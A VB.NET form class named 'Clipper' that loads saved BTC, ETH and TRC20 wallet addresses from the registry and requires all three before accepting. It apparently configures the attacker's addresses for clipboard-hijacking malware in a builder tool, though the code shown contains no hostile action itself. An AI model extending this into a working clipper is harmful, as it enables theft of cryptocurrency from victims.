Public Class Clipper Public Sub New() InitializeComponent() Opacity = 0 FadeIn(Me, 20) Guna2TextBox1.Select() End Sub Private Sub Clipper_Load(sender As Object, e As EventArgs) Handles MyBase.Load Try If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing) = Nothing Then Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing) End If If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing) = Nothing Then Guna2TextBox2.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing) End If If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing) = Nothing Then Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing) End If Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click If String.IsNullOrWhiteSpace(Guna2TextBox1.Text) Or String.IsNullOrWhiteSpace(Guna2TextBox2.Text) Or String.IsNullOrWhiteSpace(Guna2TextBox3.Text) Then Else DialogResult = DialogResult.OK End If End Sub End Class